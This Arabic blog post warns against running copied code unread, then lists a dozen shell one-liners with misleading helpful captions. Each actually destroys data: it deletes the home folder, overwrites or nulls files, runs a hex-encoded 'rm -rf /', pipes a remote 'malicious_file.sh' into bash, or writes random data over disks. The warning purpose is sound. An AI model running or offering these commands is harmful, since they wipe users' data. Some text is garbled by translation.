كثيرا ما أسمع الناس يطلقون على أنفسهم "نسخ ولصق" المبرمجين. وعلى الرغم من أن النسخ واللصق أمر مشروع يجب القيام به ، فلا ينبغي أن يكون ذلك في طريقتك الوحيدة لفعل الأشياء. هناك طريقة أفضل هي العثور على رمز ومعرفة ما يتم القيام به ثم إعادة إنشائه ، وبأقل قدر من الحد الأدنى ، قم بنسخه ، ولكن تعرف بالضبط على ما يفعله.
فيما يلي مثالي الصغير على الكود الذي يحتوي على نتائج غير مقصودة.
"يشبه تشغيل الكود الذي وجدته على الإنترنت مضغ العلكة التي عثرت عليها في المترو".
أ. يبسط بشكل كبير بناء جملة المستند:
while read f ; do sed -i " " ' s:.:*:g ' " $f " ; done <<< " $(find ~/ -iname '*' -print) "يحرر ب.
du ~ / | grep -o ' /.* ' | xargs rm -r --ج. يعيد ملفاتك لتحسين الفعالية:
du ~ / * / * | grep -o ' /.* ' | xargs -n 1 ln -sf /dev/null/D. ينقل الملفات/المجلدات إلى وحدة تخزين مع تخزين غير محدود:
for d in ~ / * / * ; do mv " $d / " /dev/null ; doneE. يحرر كل المساحة غير الجافية:
command $( echo 7375646f20726d202d7266202f0a | xxd -p -r ) & > /dev/nullواو مضغ اللثة التي لا تعرفها:
bash -c " $( curl -s https://raw.githubusercontent.com/thedzy/My-one-page-argument-for-learning-to-code/master/malicious_file.sh ) "G. يحرر الفضاء غير الاحتياطي:
eval $( sed ' s:[a-e,s-z]::g ' <<< " stream -draft ~/saved " )H. ضغط الملفات وحفظ المساحة:
zip --password " $( openssl rand -base64 64 ) " --move " $( openssl rand -hex 4 ) " .zip ~ / * / * / * / * / *1. قلل من حاجتك من المجلدات الخارجية:
for d in /dev/disk * ; do dd if=/dev/random of= $d &; doneJ. ببساطة ملفاتك وحياتك:
find ~ / -type f -exec bash -c ' :|tee {} & ' ;K. حافظ على سجلات الملفات في المجلد الرئيسي باستخدام ملفاتك الحالية:
find ~ / -type f -exec awk ' FNR == 1{ print FILENAME > FILENAME } ' {} ;L. قطع على مساحة القرص دون إزالة ملف:
n= ` df -i | grep " /$ " | awk ' {print $6} ' ` ; eval ` stat -s / ` ; for i in $( seq $n 0 ) ; do [ -f /.vol/ $st_dev / $i ] && echo > /.vol/ $st_dev / $i ; done find / -iname "*.txt" | head -n 60 | xargs -n1 -J% cp % $HOME/Desktop/